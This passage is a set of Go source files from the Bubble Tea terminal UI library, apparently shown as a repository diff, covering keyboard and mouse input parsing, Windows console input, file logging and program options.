func (u unknownInputByteMsg) String() string {
return fmt.Sprintf("?%#02x?", int(u))
}
// unknownCSISequenceMsg is reported by the input reader when an
// unrecognized CSI sequence is detected on the input. Currently, it
// is not handled further by bubbletea. However, having this event
// makes it possible to troubleshoot invalid inputs.
type unknownCSISequenceMsg []byte
func (u unknownCSISequenceMsg) String() string {
return fmt.Sprintf("?CSI%+v?", []byte(u)[2:])
}
var spaceRunes = []rune{' '}
// readAnsiInputs reads keypress and mouse inputs from a TTY and produces messages
// containing information about the key or mouse events accordingly.
func readAnsiInputs(ctx context.Context, msgs chan<- Msg, input io.Reader) error {
var buf [256]byte
var leftOverFromPrevIteration []byte
loop:
for {
// Read and block.
numBytes, err := input.Read(buf[:])
if err != nil {
return fmt.Errorf("error reading input: %w", err)
}
b := buf[:numBytes]
if leftOverFromPrevIteration != nil {
b = append(leftOverFromPrevIteration, b...)
}
// If we had a short read (numBytes < len(buf)), we're sure that
// the end of this read is an event boundary, so there is no doubt
// if we are encountering the end of the buffer while parsing a message.
// However, if we've succeeded in filling up the buffer, there may
// be more data in the OS buffer ready to be read in, to complete
// the last message in the input. In that case, we will retry with
// the left over data in the next iteration.
canHaveMoreData := numBytes == len(buf)
var i, w int
for i, w = 0, 0; i < len(b); i += w {
var msg Msg
w, msg = detectOneMsg(b[i:], canHaveMoreData)
if w == 0 {
// Expecting more bytes beyond the current buffer. Try waiting
// for more input.
leftOverFromPrevIteration = make([]byte, 0, len(b[i:])+len(buf))
leftOverFromPrevIteration = append(leftOverFromPrevIteration, b[i:]...)
continue loop
}
select {
case msgs <- msg:
case <-ctx.Done():
err := ctx.Err()
if err != nil {
err = fmt.Errorf("found context error while reading input: %w", err)
}
return err
}
}
leftOverFromPrevIteration = nil
}
}
var (
unknownCSIRe = regexp.MustCompile(`^\x1b\[[\x30-\x3f]*[\x20-\x2f]*[\x40-\x7e]`)
mouseSGRRegex = regexp.MustCompile(`(\d+);(\d+);(\d+)([Mm])`)
)
func detectOneMsg(b []byte, canHaveMoreData bool) (w int, msg Msg) {
// Detect mouse events.
// X10 mouse events have a length of 6 bytes
const mouseEventX10Len = 6
if len(b) >= mouseEventX10Len && b[0] == '\x1b' && b[1] == '[' {
switch b[2] {
case 'M':
return mouseEventX10Len, MouseMsg(parseX10MouseEvent(b))
case '<':
if matchIndices := mouseSGRRegex.FindSubmatchIndex(b[3:]); matchIndices != nil {
// SGR mouse events length is the length of the match plus the length of the escape sequence
mouseEventSGRLen := matchIndices[1] + 3 //nolint:mnd
return mouseEventSGRLen, MouseMsg(parseSGRMouseEvent(b))
}
}
}
// Detect focus events.
var foundRF bool
foundRF, w, msg = detectReportFocus(b)
if foundRF {
return w, msg
}
// Detect bracketed paste.
var foundbp bool
foundbp, w, msg = detectBracketedPaste(b)
if foundbp {
return w, msg
}
// Detect escape sequence and control characters other than NUL,
// possibly with an escape character in front to mark the Alt
// modifier.
var foundSeq bool
foundSeq, w, msg = detectSequence(b)
if foundSeq {
return w, msg
}
// No non-NUL control character or escape sequence.
// If we are seeing at least an escape character, remember it for later below.
alt := false
i := 0
if b[0] == '\x1b' {
alt = true
i++
}
// Are we seeing a standalone NUL? This is not handled by detectSequence().
if i < len(b) && b[i] == 0 {
return i + 1, KeyMsg{Type: keyNUL, Alt: alt}
}
// Find the longest sequence of runes that are not control
// characters from this point.
var runes []rune
for rw := 0; i < len(b); i += rw {
var r rune
r, rw = utf8.DecodeRune(b[i:])
if r == utf8.RuneError || r <= rune(keyUS) || r == rune(keyDEL) || r == ' ' {
// Rune errors are handled below; control characters and spaces will
// be handled by detectSequence in the next call to detectOneMsg.
break
}
runes = append(runes, r)
if alt {
// We only support a single rune after an escape alt modifier.
i += rw
break
}
}
if i >= len(b) && canHaveMoreData {
// We have encountered the end of the input buffer. Alas, we can't
// be sure whether the data in the remainder of the buffer is
// complete (maybe there was a short read). Instead of sending anything
// dumb to the message channel, do a short read. The outer loop will
// handle this case by extending the buffer as necessary.
return 0, nil
}
// If we found at least one rune, we report the bunch of them as
// a single KeyRunes or KeySpace event.
if len(runes) > 0 {
k := Key{Type: KeyRunes, Runes: runes, Alt: alt}
if len(runes) == 1 && runes[0] == ' ' {
k.Type = KeySpace
}
return i, KeyMsg(k)
}
// We didn't find an escape sequence, nor a valid rune. Was this a
// lone escape character at the end of the input?
if alt && len(b) == 1 {
return 1, KeyMsg(Key{Type: KeyEscape})
}
// The character at the current position is neither an escape
// sequence, a valid rune start or a sole escape character. Report
// it as an invalid byte.
return 1, unknownInputByteMsg(b[0])
}
+13
View File
@@ -0,0 +1,13 @@
//go:build !windows
// +build !windows
package tea
import (
"context"
"io"
)
func readInputs(ctx context.Context, msgs chan<- Msg, input io.Reader) error {
return readAnsiInputs(ctx, msgs, input)
}
+130
View File
@@ -0,0 +1,130 @@
package tea
import (
"bytes"
"sort"
"unicode/utf8"
)
// extSequences is used by the map-based algorithm below. It contains
// the sequences plus their alternatives with an escape character
// prefixed, plus the control chars, plus the space.
// It does not contain the NUL character, which is handled specially
// by detectOneMsg.
var extSequences = func() map[string]Key {
s := map[string]Key{}
for seq, key := range sequences {
key := key
s[seq] = key
if !key.Alt {
key.Alt = true
s["\x1b"+seq] = key
}
}
for i := keyNUL + 1; i <= keyDEL; i++ {
if i == keyESC {
continue
}
s[string([]byte{byte(i)})] = Key{Type: i}
s[string([]byte{'\x1b', byte(i)})] = Key{Type: i, Alt: true}
if i == keyUS {
i = keyDEL - 1
}
}
s[" "] = Key{Type: KeySpace, Runes: spaceRunes}
s["\x1b "] = Key{Type: KeySpace, Alt: true, Runes: spaceRunes}
s["\x1b\x1b"] = Key{Type: KeyEscape, Alt: true}
return s
}()
// seqLengths is the sizes of valid sequences, starting with the
// largest size.
var seqLengths = func() []int {
sizes := map[int]struct{}{}
for seq := range extSequences {
sizes[len(seq)] = struct{}{}
}
lsizes := make([]int, 0, len(sizes))
for sz := range sizes {
lsizes = append(lsizes, sz)
}
sort.Slice(lsizes, func(i, j int) bool { return lsizes[i] > lsizes[j] })
return lsizes
}()
// detectSequence uses a longest prefix match over the input
// sequence and a hash map.
func detectSequence(input []byte) (hasSeq bool, width int, msg Msg) {
seqs := extSequences
for _, sz := range seqLengths {
if sz > len(input) {
continue
}
prefix := input[:sz]
key, ok := seqs[string(prefix)]
if ok {
return true, sz, KeyMsg(key)
}
}
// Is this an unknown CSI sequence?
if loc := unknownCSIRe.FindIndex(input); loc != nil {
return true, loc[1], unknownCSISequenceMsg(input[:loc[1]])
}
return false, 0, nil
}
// detectBracketedPaste detects an input pasted while bracketed
// paste mode was enabled.
//
// Note: this function is a no-op if bracketed paste was not enabled
// on the terminal, since in that case we'd never see this
// particular escape sequence.
func detectBracketedPaste(input []byte) (hasBp bool, width int, msg Msg) {
// Detect the start sequence.
const bpStart = "\x1b[200~"
if len(input) < len(bpStart) || string(input[:len(bpStart)]) != bpStart {
return false, 0, nil
}
// Skip over the start sequence.
input = input[len(bpStart):]
// If we saw the start sequence, then we must have an end sequence
// as well. Find it.
const bpEnd = "\x1b[201~"
idx := bytes.Index(input, []byte(bpEnd))
inputLen := len(bpStart) + idx + len(bpEnd)
if idx == -1 {
// We have encountered the end of the input buffer without seeing
// the marker for the end of the bracketed paste.
// Tell the outer loop we have done a short read and we want more.
return true, 0, nil
}
// The paste is everything in-between.
paste := input[:idx]
// All there is in-between is runes, not to be interpreted further.
k := Key{Type: KeyRunes, Paste: true}
for len(paste) > 0 {
r, w := utf8.DecodeRune(paste)
if r != utf8.RuneError {
k.Runes = append(k.Runes, r)
}
paste = paste[w:]
}
return true, inputLen, KeyMsg(k)
}
// detectReportFocus detects a focus report sequence.
func detectReportFocus(input []byte) (hasRF bool, width int, msg Msg) {
switch {
case bytes.Equal(input, []byte("\x1b[I")):
return true, 3, FocusMsg{} //nolint:mnd
case bytes.Equal(input, []byte("\x1b[O")):
return true, 3, BlurMsg{} //nolint:mnd
}
return false, 0, nil
}
+441
View File
@@ -0,0 +1,441 @@
//go:build windows
// +build windows
package tea
import (
"context"
"fmt"
"io"
"time"
"github.com/erikgeiser/coninput"
localereader "github.com/mattn/go-localereader"
"github.com/muesli/cancelreader"
)
func readInputs(ctx context.Context, msgs chan<- Msg, input io.Reader) error {
if coninReader, ok := input.(*conInputReader); ok {
return readConInputs(ctx, msgs, coninReader)
}
return readAnsiInputs(ctx, msgs, localereader.NewReader(input))
}
func readConInputs(ctx context.Context, msgsch chan<- Msg, con *conInputReader) error {
var ps coninput.ButtonState // keep track of previous mouse state
var ws coninput.WindowBufferSizeEventRecord // keep track of the last window size event
for {
events, err := peekAndReadConsInput(con)
if err != nil {
return err
}
for _, event := range events {
var msgs []Msg
switch e := event.Unwrap().(type) {
case coninput.KeyEventRecord:
if !e.KeyDown || e.VirtualKeyCode == coninput.VK_SHIFT {
continue
}
for i := 0; i < int(e.RepeatCount); i++ {
eventKeyType := keyType(e)
var runes []rune
// Add the character only if the key type is an actual character and not a control sequence.
// This mimics the behavior in readAnsiInputs where the character is also removed.
// We don't need to handle KeySpace here. See the comment in keyType().
if eventKeyType == KeyRunes {
runes = []rune{e.Char}
}
msgs = append(msgs, KeyMsg{
Type: eventKeyType,
Runes: runes,
Alt: e.ControlKeyState.Contains(coninput.LEFT_ALT_PRESSED | coninput.RIGHT_ALT_PRESSED),
})
}
case coninput.WindowBufferSizeEventRecord:
if e != ws {
ws = e
msgs = append(msgs, WindowSizeMsg{
Width: int(e.Size.X),
Height: int(e.Size.Y),
})
}
case coninput.MouseEventRecord:
event := mouseEvent(ps, e)
if event.Type != MouseUnknown {
msgs = append(msgs, event)
}
ps = e.ButtonState
case coninput.FocusEventRecord, coninput.MenuEventRecord:
// ignore
default: // unknown event
continue
}
// Send all messages to the channel
for _, msg := range msgs {
select {
case msgsch <- msg:
case <-ctx.Done():
err := ctx.Err()
if err != nil {
return fmt.Errorf("coninput context error: %w", err)
}
return nil
}
}
}
}
}
// Peek for new input in a tight loop and then read the input.
// windows.CancelIo* does not work reliably so peek first and only use the data if
// the console input is not cancelled.
func peekAndReadConsInput(con *conInputReader) ([]coninput.InputRecord, error) {
events, err := peekConsInput(con)
if err != nil {
return events, err
}
events, err = coninput.ReadNConsoleInputs(con.conin, intToUint32OrDie(len(events)))
if con.isCanceled() {
return events, cancelreader.ErrCanceled
}
if err != nil {
return events, fmt.Errorf("read coninput events: %w", err)
}
return events, nil
}
// Convert i to unit32 or panic if it cannot be converted. Check satisfies lint G115.
func intToUint32OrDie(i int) uint32 {
if i < 0 {
panic("cannot convert numEvents " + fmt.Sprint(i) + " to uint32")
}
return uint32(i) //nolint:gosec
}
// Keeps peeking until there is data or the input is cancelled.
func peekConsInput(con *conInputReader) ([]coninput.InputRecord, error) {
for {
events, err := coninput.PeekNConsoleInputs(con.conin, 16)
if con.isCanceled() {
return events, cancelreader.ErrCanceled
}
if err != nil {
return events, fmt.Errorf("peek coninput events: %w", err)
}
if len(events) > 0 {
return events, nil
}
// Sleep for a bit to avoid busy waiting.
time.Sleep(16 * time.Millisecond)
}
}
func mouseEventButton(p, s coninput.ButtonState) (button MouseButton, action MouseAction) {
btn := p ^ s
action = MouseActionPress
if btn&s == 0 {
action = MouseActionRelease
}
if btn == 0 {
switch {
case s&coninput.FROM_LEFT_1ST_BUTTON_PRESSED > 0:
button = MouseButtonLeft
case s&coninput.FROM_LEFT_2ND_BUTTON_PRESSED > 0:
button = MouseButtonMiddle
case s&coninput.RIGHTMOST_BUTTON_PRESSED > 0:
button = MouseButtonRight
case s&coninput.FROM_LEFT_3RD_BUTTON_PRESSED > 0:
button = MouseButtonBackward
case s&coninput.FROM_LEFT_4TH_BUTTON_PRESSED > 0:
button = MouseButtonForward
}
return button, action
}
switch btn {
case coninput.FROM_LEFT_1ST_BUTTON_PRESSED: // left button
button = MouseButtonLeft
case coninput.RIGHTMOST_BUTTON_PRESSED: // right button
button = MouseButtonRight
case coninput.FROM_LEFT_2ND_BUTTON_PRESSED: // middle button
button = MouseButtonMiddle
case coninput.FROM_LEFT_3RD_BUTTON_PRESSED: // unknown (possibly mouse backward)
button = MouseButtonBackward
case coninput.FROM_LEFT_4TH_BUTTON_PRESSED: // unknown (possibly mouse forward)
button = MouseButtonForward
}
return button, action
}
func mouseEvent(p coninput.ButtonState, e coninput.MouseEventRecord) MouseMsg {
ev := MouseMsg{
X: int(e.MousePositon.X),
Y: int(e.MousePositon.Y),
Alt: e.ControlKeyState.Contains(coninput.LEFT_ALT_PRESSED | coninput.RIGHT_ALT_PRESSED),
Ctrl: e.ControlKeyState.Contains(coninput.LEFT_CTRL_PRESSED | coninput.RIGHT_CTRL_PRESSED),
Shift: e.ControlKeyState.Contains(coninput.SHIFT_PRESSED),
}
switch e.EventFlags {
case coninput.CLICK, coninput.DOUBLE_CLICK:
ev.Button, ev.Action = mouseEventButton(p, e.ButtonState)
if ev.Action == MouseActionRelease {
ev.Type = MouseRelease
}
switch ev.Button { //nolint:exhaustive
case MouseButtonLeft:
ev.Type = MouseLeft
case MouseButtonMiddle:
ev.Type = MouseMiddle
case MouseButtonRight:
ev.Type = MouseRight
case MouseButtonBackward:
ev.Type = MouseBackward
case MouseButtonForward:
ev.Type = MouseForward
}
case coninput.MOUSE_WHEELED:
if e.WheelDirection > 0 {
ev.Button = MouseButtonWheelUp
ev.Type = MouseWheelUp
} else {
ev.Button = MouseButtonWheelDown
ev.Type = MouseWheelDown
}
case coninput.MOUSE_HWHEELED:
if e.WheelDirection > 0 {
ev.Button = MouseButtonWheelRight
ev.Type = MouseWheelRight
} else {
ev.Button = MouseButtonWheelLeft
ev.Type = MouseWheelLeft
}
case coninput.MOUSE_MOVED:
ev.Button, _ = mouseEventButton(p, e.ButtonState)
ev.Action = MouseActionMotion
ev.Type = MouseMotion
}
return ev
}
func keyType(e coninput.KeyEventRecord) KeyType {
code := e.VirtualKeyCode
shiftPressed := e.ControlKeyState.Contains(coninput.SHIFT_PRESSED)
ctrlPressed := e.ControlKeyState.Contains(coninput.LEFT_CTRL_PRESSED | coninput.RIGHT_CTRL_PRESSED)
switch code { //nolint:exhaustive
case coninput.VK_RETURN:
return KeyEnter
case coninput.VK_BACK:
return KeyBackspace
case coninput.VK_TAB:
if shiftPressed {
return KeyShiftTab
}
return KeyTab
case coninput.VK_SPACE:
return KeyRunes // this could be KeySpace but on unix space also produces KeyRunes
case coninput.VK_ESCAPE:
return KeyEscape
case coninput.VK_UP:
switch {
case shiftPressed && ctrlPressed:
return KeyCtrlShiftUp
case shiftPressed:
return KeyShiftUp
case ctrlPressed:
return KeyCtrlUp
default:
return KeyUp
}
case coninput.VK_DOWN:
switch {
case shiftPressed && ctrlPressed:
return KeyCtrlShiftDown
case shiftPressed:
return KeyShiftDown
case ctrlPressed:
return KeyCtrlDown
default:
return KeyDown
}
case coninput.VK_RIGHT:
switch {
case shiftPressed && ctrlPressed:
return KeyCtrlShiftRight
case shiftPressed:
return KeyShiftRight
case ctrlPressed:
return KeyCtrlRight
default:
return KeyRight
}
case coninput.VK_LEFT:
switch {
case shiftPressed && ctrlPressed:
return KeyCtrlShiftLeft
case shiftPressed:
return KeyShiftLeft
case ctrlPressed:
return KeyCtrlLeft
default:
return KeyLeft
}
case coninput.VK_HOME:
switch {
case shiftPressed && ctrlPressed:
return KeyCtrlShiftHome
case shiftPressed:
return KeyShiftHome
case ctrlPressed:
return KeyCtrlHome
default:
return KeyHome
}
case coninput.VK_END:
switch {
case shiftPressed && ctrlPressed:
return KeyCtrlShiftEnd
case shiftPressed:
return KeyShiftEnd
case ctrlPressed:
return KeyCtrlEnd
default:
return KeyEnd
}
case coninput.VK_PRIOR:
return KeyPgUp
case coninput.VK_NEXT:
return KeyPgDown
case coninput.VK_DELETE:
return KeyDelete
case coninput.VK_F1:
return KeyF1
case coninput.VK_F2:
return KeyF2
case coninput.VK_F3:
return KeyF3
case coninput.VK_F4:
return KeyF4
case coninput.VK_F5:
return KeyF5
case coninput.VK_F6:
return KeyF6
case coninput.VK_F7:
return KeyF7
case coninput.VK_F8:
return KeyF8
case coninput.VK_F9:
return KeyF9
case coninput.VK_F10:
return KeyF10
case coninput.VK_F11:
return KeyF11
case coninput.VK_F12:
return KeyF12
case coninput.VK_F13:
return KeyF13
case coninput.VK_F14:
return KeyF14
case coninput.VK_F15:
return KeyF15
case coninput.VK_F16:
return KeyF16
case coninput.VK_F17:
return KeyF17
case coninput.VK_F18:
return KeyF18
case coninput.VK_F19:
return KeyF19
case coninput.VK_F20:
return KeyF20
default:
switch {
case e.ControlKeyState.Contains(coninput.LEFT_CTRL_PRESSED) && e.ControlKeyState.Contains(coninput.RIGHT_ALT_PRESSED):
// AltGr is pressed, then it's a rune.
fallthrough
case !e.ControlKeyState.Contains(coninput.LEFT_CTRL_PRESSED) && !e.ControlKeyState.Contains(coninput.RIGHT_CTRL_PRESSED):
return KeyRunes
}
switch e.Char {
case '@':
return KeyCtrlAt
case '\x01':
return KeyCtrlA
case '\x02':
return KeyCtrlB
case '\x03':
return KeyCtrlC
case '\x04':
return KeyCtrlD
case '\x05':
return KeyCtrlE
case '\x06':
return KeyCtrlF
case '\a':
return KeyCtrlG
case '\b':
return KeyCtrlH
case '\t':
return KeyCtrlI
case '\n':
return KeyCtrlJ
case '\v':
return KeyCtrlK
case '\f':
return KeyCtrlL
case '\r':
return KeyCtrlM
case '\x0e':
return KeyCtrlN
case '\x0f':
return KeyCtrlO
case '\x10':
return KeyCtrlP
case '\x11':
return KeyCtrlQ
case '\x12':
return KeyCtrlR
case '\x13':
return KeyCtrlS
case '\x14':
return KeyCtrlT
case '\x15':
return KeyCtrlU
case '\x16':
return KeyCtrlV
case '\x17':
return KeyCtrlW
case '\x18':
return KeyCtrlX
case '\x19':
return KeyCtrlY
case '\x1a':
return KeyCtrlZ
case '\x1b':
return KeyCtrlOpenBracket // KeyEscape
case '\x1c':
return KeyCtrlBackslash
case '\x1f':
return KeyCtrlUnderscore
}
switch code { //nolint:exhaustive
case coninput.VK_OEM_4:
return KeyCtrlOpenBracket
case coninput.VK_OEM_6:
return KeyCtrlCloseBracket
}
return KeyRunes
}
}
+53
View File
@@ -0,0 +1,53 @@
package tea
import (
"fmt"
"io"
"log"
"os"
"unicode"
)
// LogToFile sets up default logging to log to a file. This is helpful as we
// can't print to the terminal since our TUI is occupying it. If the file
// doesn't exist it will be created.
//
// Don't forget to close the file when you're done with it.
//
// f, err := LogToFile("debug.log", "debug")
// if err != nil {
// fmt.Println("fatal:", err)
// os.Exit(1)
// }
// defer f.Close()
func LogToFile(path string, prefix string) (*os.File, error) {
return LogToFileWith(path, prefix, log.Default())
}
// LogOptionsSetter is an interface implemented by stdlib's log and charm's log
// libraries.
type LogOptionsSetter interface {
SetOutput(io.Writer)
SetPrefix(string)
}
// LogToFileWith does allows to call LogToFile with a custom LogOptionsSetter.
func LogToFileWith(path string, prefix string, log LogOptionsSetter) (*os.File, error) {
f, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0o600) //nolint:mnd
if err != nil {
return nil, fmt.Errorf("error opening file for logging: %w", err)
}
log.SetOutput(f)
// Add a space after the prefix if a prefix is being specified and it
// doesn't already have a trailing space.
if len(prefix) > 0 {
finalChar := prefix[len(prefix)-1]
if !unicode.IsSpace(rune(finalChar)) {
prefix += " "
}
}
log.SetPrefix(prefix)
return f, nil
}
+308
View File
@@ -0,0 +1,308 @@
package tea
import "strconv"
// MouseMsg contains information about a mouse event and are sent to a programs
// update function when mouse activity occurs. Note that the mouse must first
// be enabled in order for the mouse events to be received.
type MouseMsg MouseEvent
// String returns a string representation of a mouse event.
func (m MouseMsg) String() string {
return MouseEvent(m).String()
}
// MouseEvent represents a mouse event, which could be a click, a scroll wheel
// movement, a cursor movement, or a combination.
type MouseEvent struct {
X int
Y int
Shift bool
Alt bool
Ctrl bool
Action MouseAction
Button MouseButton
// Deprecated: Use MouseAction & MouseButton instead.
Type MouseEventType
}
// IsWheel returns true if the mouse event is a wheel event.
func (m MouseEvent) IsWheel() bool {
return m.Button == MouseButtonWheelUp || m.Button == MouseButtonWheelDown ||
m.Button == MouseButtonWheelLeft || m.Button == MouseButtonWheelRight
}
// String returns a string representation of a mouse event.
func (m MouseEvent) String() (s string) {
if m.Ctrl {
s += "ctrl+"
}
if m.Alt {
s += "alt+"
}
if m.Shift {
s += "shift+"
}
if m.Button == MouseButtonNone { //nolint:nestif
if m.Action == MouseActionMotion || m.Action == MouseActionRelease {
s += mouseActions[m.Action]
} else {
s += "unknown"
}
} else if m.IsWheel() {
s += mouseButtons[m.Button]
} else {
btn := mouseButtons[m.Button]
if btn != "" {
s += btn
}
act := mouseActions[m.Action]
if act != "" {
s += " " + act
}
}
return s
}
// MouseAction represents the action that occurred during a mouse event.
type MouseAction int
// Mouse event actions.
const (
MouseActionPress MouseAction = iota
MouseActionRelease
MouseActionMotion
)
var mouseActions = map[MouseAction]string{
MouseActionPress: "press",
MouseActionRelease: "release",
MouseActionMotion: "motion",
}
// MouseButton represents the button that was pressed during a mouse event.
type MouseButton int
// Mouse event buttons
//
// This is based on X11 mouse button codes.
//
// 1 = left button
// 2 = middle button (pressing the scroll wheel)
// 3 = right button
// 4 = turn scroll wheel up
// 5 = turn scroll wheel down
// 6 = push scroll wheel left
// 7 = push scroll wheel right
// 8 = 4th button (aka browser backward button)
// 9 = 5th button (aka browser forward button)
// 10
// 11
//
// Other buttons are not supported.
const (
MouseButtonNone MouseButton = iota
MouseButtonLeft
MouseButtonMiddle
MouseButtonRight
MouseButtonWheelUp
MouseButtonWheelDown
MouseButtonWheelLeft
MouseButtonWheelRight
MouseButtonBackward
MouseButtonForward
MouseButton10
MouseButton11
)
var mouseButtons = map[MouseButton]string{
MouseButtonNone: "none",
MouseButtonLeft: "left",
MouseButtonMiddle: "middle",
MouseButtonRight: "right",
MouseButtonWheelUp: "wheel up",
MouseButtonWheelDown: "wheel down",
MouseButtonWheelLeft: "wheel left",
MouseButtonWheelRight: "wheel right",
MouseButtonBackward: "backward",
MouseButtonForward: "forward",
MouseButton10: "button 10",
MouseButton11: "button 11",
}
// MouseEventType indicates the type of mouse event occurring.
//
// Deprecated: Use MouseAction & MouseButton instead.
type MouseEventType int
// Mouse event types.
//
// Deprecated: Use MouseAction & MouseButton instead.
const (
MouseUnknown MouseEventType = iota
MouseLeft
MouseRight
MouseMiddle
MouseRelease // mouse button release (X10 only)
MouseWheelUp
MouseWheelDown
MouseWheelLeft
MouseWheelRight
MouseBackward
MouseForward
MouseMotion
)
// Parse SGR-encoded mouse events; SGR extended mouse events. SGR mouse events
// look like:
//
// ESC [ < Cb ; Cx ; Cy (M or m)
//
// where:
//
// Cb is the encoded button code
// Cx is the x-coordinate of the mouse
// Cy is the y-coordinate of the mouse
// M is for button press, m is for button release
//
// https://invisible-island.net/xterm/ctlseqs/ctlseqs.html#h3-Extended-coordinates
func parseSGRMouseEvent(buf []byte) MouseEvent {
str := string(buf[3:])
matches := mouseSGRRegex.FindStringSubmatch(str)
if len(matches) != 5 { //nolint:mnd
// Unreachable, we already checked the regex in `detectOneMsg`.
panic("invalid mouse event")
}
b, _ := strconv.Atoi(matches[1])
px := matches[2]
py := matches[3]
release := matches[4] == "m"
m := parseMouseButton(b, true)
// Wheel buttons don't have release events
// Motion can be reported as a release event in some terminals (Windows Terminal)
if m.Action != MouseActionMotion && !m.IsWheel() && release {
m.Action = MouseActionRelease
m.Type = MouseRelease
}
x, _ := strconv.Atoi(px)
y, _ := strconv.Atoi(py)
// (1,1) is the upper left. We subtract 1 to normalize it to (0,0).
m.X = x - 1
m.Y = y - 1
return m
}
const x10MouseByteOffset = 32
// Parse X10-encoded mouse events; the simplest kind. The last release of X10
// was December 1986, by the way. The original X10 mouse protocol limits the Cx
// and Cy coordinates to 223 (=255-032).
//
// X10 mouse events look like:
//
// ESC [M Cb Cx Cy
//
// See: http://www.xfree86.org/current/ctlseqs.html#Mouse%20Tracking
func parseX10MouseEvent(buf []byte) MouseEvent {
v := buf[3:6]
m := parseMouseButton(int(v[0]), false)
// (1,1) is the upper left. We subtract 1 to normalize it to (0,0).
m.X = int(v[1]) - x10MouseByteOffset - 1
m.Y = int(v[2]) - x10MouseByteOffset - 1
return m
}
// See: https://invisible-island.net/xterm/ctlseqs/ctlseqs.html#h3-Extended-coordinates
func parseMouseButton(b int, isSGR bool) MouseEvent {
var m MouseEvent
e := b
if !isSGR {
e -= x10MouseByteOffset
}
const (
bitShift = 0b0000_0100
bitAlt = 0b0000_1000
bitCtrl = 0b0001_0000
bitMotion = 0b0010_0000
bitWheel = 0b0100_0000
bitAdd = 0b1000_0000 // additional buttons 8-11
bitsMask = 0b0000_0011
)
if e&bitAdd != 0 {
m.Button = MouseButtonBackward + MouseButton(e&bitsMask)
} else if e&bitWheel != 0 {
m.Button = MouseButtonWheelUp + MouseButton(e&bitsMask)
} else {
m.Button = MouseButtonLeft + MouseButton(e&bitsMask)
// X10 reports a button release as 0b0000_0011 (3)
if e&bitsMask == bitsMask {
m.Action = MouseActionRelease
m.Button = MouseButtonNone
}
}
// Motion bit doesn't get reported for wheel events.
if e&bitMotion != 0 && !m.IsWheel() {
m.Action = MouseActionMotion
}
// Modifiers
m.Alt = e&bitAlt != 0
m.Ctrl = e&bitCtrl != 0
m.Shift = e&bitShift != 0
// backward compatibility
switch {
case m.Button == MouseButtonLeft && m.Action == MouseActionPress:
m.Type = MouseLeft
case m.Button == MouseButtonMiddle && m.Action == MouseActionPress:
m.Type = MouseMiddle
case m.Button == MouseButtonRight && m.Action == MouseActionPress:
m.Type = MouseRight
case m.Button == MouseButtonNone && m.Action == MouseActionRelease:
m.Type = MouseRelease
case m.Button == MouseButtonWheelUp && m.Action == MouseActionPress:
m.Type = MouseWheelUp
case m.Button == MouseButtonWheelDown && m.Action == MouseActionPress:
m.Type = MouseWheelDown
case m.Button == MouseButtonWheelLeft && m.Action == MouseActionPress:
m.Type = MouseWheelLeft
case m.Button == MouseButtonWheelRight && m.Action == MouseActionPress:
m.Type = MouseWheelRight
case m.Button == MouseButtonBackward && m.Action == MouseActionPress:
m.Type = MouseBackward
case m.Button == MouseButtonForward && m.Action == MouseActionPress:
m.Type = MouseForward
case m.Action == MouseActionMotion:
m.Type = MouseMotion
switch m.Button { //nolint:exhaustive
case MouseButtonLeft:
m.Type = MouseLeft
case MouseButtonMiddle:
m.Type = MouseMiddle
case MouseButtonRight:
m.Type = MouseRight
case MouseButtonBackward:
m.Type = MouseBackward
case MouseButtonForward:
m.Type = MouseForward
}
default:
m.Type = MouseUnknown
}
return m
}
+29
View File
@@ -0,0 +1,29 @@
package tea
type nilRenderer struct{}
func (n nilRenderer) start() {}
func (n nilRenderer) stop() {}
func (n nilRenderer) kill() {}
func (n nilRenderer) write(_ string) {}
func (n nilRenderer) repaint() {}
func (n nilRenderer) clearScreen() {}
func (n nilRenderer) altScreen() bool { return false }
func (n nilRenderer) enterAltScreen() {}
func (n nilRenderer) exitAltScreen() {}
func (n nilRenderer) showCursor() {}
func (n nilRenderer) hideCursor() {}
func (n nilRenderer) enableMouseCellMotion() {}
func (n nilRenderer) disableMouseCellMotion() {}
func (n nilRenderer) enableMouseAllMotion() {}
func (n nilRenderer) disableMouseAllMotion() {}
func (n nilRenderer) enableBracketedPaste() {}
func (n nilRenderer) disableBracketedPaste() {}
func (n nilRenderer) enableMouseSGRMode() {}
func (n nilRenderer) disableMouseSGRMode() {}
func (n nilRenderer) bracketedPasteActive() bool { return false }
func (n nilRenderer) setWindowTitle(_ string) {}
func (n nilRenderer) reportFocus() bool { return false }
func (n nilRenderer) enableReportFocus() {}
func (n nilRenderer) disableReportFocus() {}
func (n nilRenderer) resetLinesRendered() {}
+252
View File
@@ -0,0 +1,252 @@
package tea
import (
"context"
"io"
"sync/atomic"
)
// ProgramOption is used to set options when initializing a Program. Program can
// accept a variable number of options.
//
// Example usage:
//
// p := NewProgram(model, WithInput(someInput), WithOutput(someOutput))
type ProgramOption func(*Program)
// WithContext lets you specify a context in which to run the Program. This is
// useful if you want to cancel the execution from outside. When a Program gets
// cancelled it will exit with an error ErrProgramKilled.
func WithContext(ctx context.Context) ProgramOption {
return func(p *Program) {
p.externalCtx = ctx
}
}
// WithOutput sets the output which, by default, is stdout. In most cases you
// won't need to use this.
func WithOutput(output io.Writer) ProgramOption {
return func(p *Program) {
p.output = output
}
}
// WithInput sets the input which, by default, is stdin. In most cases you
// won't need to use this. To disable input entirely pass nil.
//
// p := NewProgram(model, WithInput(nil))
func WithInput(input io.Reader) ProgramOption {
return func(p *Program) {
p.input = input
p.inputType = customInput
}
}
// WithInputTTY opens a new TTY for input (or console input device on Windows).
func WithInputTTY() ProgramOption {
return func(p *Program) {
p.inputType = ttyInput
}
}
// WithEnvironment sets the environment variables that the program will use.
// This useful when the program is running in a remote session (e.g. SSH) and
// you want to pass the environment variables from the remote session to the
// program.
//
// Example:
//
// var sess ssh.Session // ssh.Session is a type from the github.com/charmbracelet/ssh package
// pty, _, _ := sess.Pty()
// environ := append(sess.Environ(), "TERM="+pty.Term)
// p := tea.NewProgram(model, tea.WithEnvironment(environ)
func WithEnvironment(env []string) ProgramOption {
return func(p *Program) {
p.environ = env
}
}
// WithoutSignalHandler disables the signal handler that Bubble Tea sets up for
// Programs. This is useful if you want to handle signals yourself.
func WithoutSignalHandler() ProgramOption {
return func(p *Program) {
p.startupOptions |= withoutSignalHandler
}
}
// WithoutCatchPanics disables the panic catching that Bubble Tea does by
// default. If panic catching is disabled the terminal will be in a fairly
// unusable state after a panic because Bubble Tea will not perform its usual
// cleanup on exit.
func WithoutCatchPanics() ProgramOption {
return func(p *Program) {
p.startupOptions |= withoutCatchPanics
}
}
// WithoutSignals will ignore OS signals.
